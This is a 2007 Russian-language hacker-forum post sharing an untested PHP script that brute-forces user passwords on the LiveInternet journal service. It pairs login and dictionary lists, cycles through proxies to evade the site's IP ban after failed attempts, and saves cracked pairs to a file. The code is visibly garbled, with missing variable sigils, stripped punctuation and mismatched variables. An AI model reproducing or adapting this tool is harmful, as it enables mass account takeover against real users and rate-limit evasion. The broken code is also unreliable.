Показать сообщение отдельно

Brut_beta ver
  #7  
Старый 15.04.2007, 06:54
mR_LiNK[deface_0nl
Участник форума
Регистрация: 12.12.2006
Сообщений: 158
Провел на форуме:
1364740

Репутация: 114
По умолчанию Brut_beta ver

Написал скрипт брута, пока не тестил, так что смотрим критикуем (ток не особо, не гуру пока еще_..))) и тестим если все норм, возможны ошибки синтаксиса (скорее описки!! пока постил несколько успел увидеть)))

трудность - бан ip на 2-е минуты в случае 3-ех кратного повтора неверной аутентификации одного логина (решается динамической сменой прокси, по 1-у прокси на 2-е пары, тем самым список прокси зацикливается и избегается бан)

Брут НЕ сложных паролей. Рассчитан на массовый подбор юзеров, поэтому НЕ нужно класть огромный словарь на все случаи жизни!! Если необходим брут конкретного пользователя - скрипт легко модифицируется, НО проксей соответственно нужно много больше!!

Необходимо 4-и файла {
login.txt (здесь список логинов, каждый логин в новой строке)
proxy.txt (здесь список прокси вида IPort, каждый в новой строке)
pass.txt (здесь словарь для брута; словарь нун скачать, имхо в сети их полно!)
succes.txt (сюда скрипт пишет пару логин и пароль в случае успешного совпадения)
}

PHP код:
<?php
//массив логинов
$f_log fopen (login.txtr);
$login fread($f_log65000);
$name explode('\n'$login);
fclose($f_log);

//массив проксей (в файле прокси разделены '\n'), порт и хост разделены ':'
$f_proxy fopen('proxy.txt'r);
$proxy fread($f_proxy65000);
$proxy_server explode("\n"$proxy);
$n=count($proxy_server);
for (
$i=0$i<=count($proxy_server)-1$i++)
 {
  
$proxy_serv[$i] = explode(":"$proxy_server[$i]);
 }
fclose($f_proxy);

//массив паролей из словаря))
$f_pass fopen (pass.txtr);
$passwd fread($f_pass65000);
$pass explode('\n'$passwd);
fclose($f_pass);

//собственно брут
  
for($n=0$n<count($name); $n++)
  {
  
$path 'http://www.liveinternet.ru/journal_login.php?nick='.$name[n];
  for(
$i=0i<count($proxy_serv);$i++)
  {
  
$fp fsockopen($proxy_serv[i][0], $proxy_serv[i][1], $errno$errstr30);
  if (!
$fp) {
  echo 
"errstr"$errno "<br />\n";
  } else {
  for(
$p=0$p<2$p++)
  {
  
$path .= '&password='.$pass[p];
  
$header "GET $path HTTP/1.1\r\n";
  
$header .= "Host: 'http://www.liveinternet.ru'\r\n"
  
$header .= "Connection: Close\r\n\r\n";
  
//$headers .= "referrer: $hostname\r\n";   так как проверка данного заголовка не предусмотрена системой безопасности сайта этот параметр можно опустить.
  // отправляем
  
fputs($fp$header);

  
//получаем ответ и работаем с ним
  
$returndata fread($fp65000);
  
$flag '<title>Дневник '.$login': LiveInternet - Дневники,Новости,Форумы</title>';
  
$pos strpos($returndata$flag);
  if (
$pos) {
  
$succ 'Для '.$login 'пароль: '.$pass;
  
$f_succes fopen ('succes.txt'a+);
  
fputs ('succes.txt'$succ);
  
fclose($f_succes);
  }
  
fclose($fp);
        }
  }
}

}

fclose($f_log);
fclose($f_proxy);
fclose($f_pass);
?>

Последний раз редактировалось mR_LiNK[deface_0nl; 15.04.2007 в 20:27..
 
Ответить с цитированием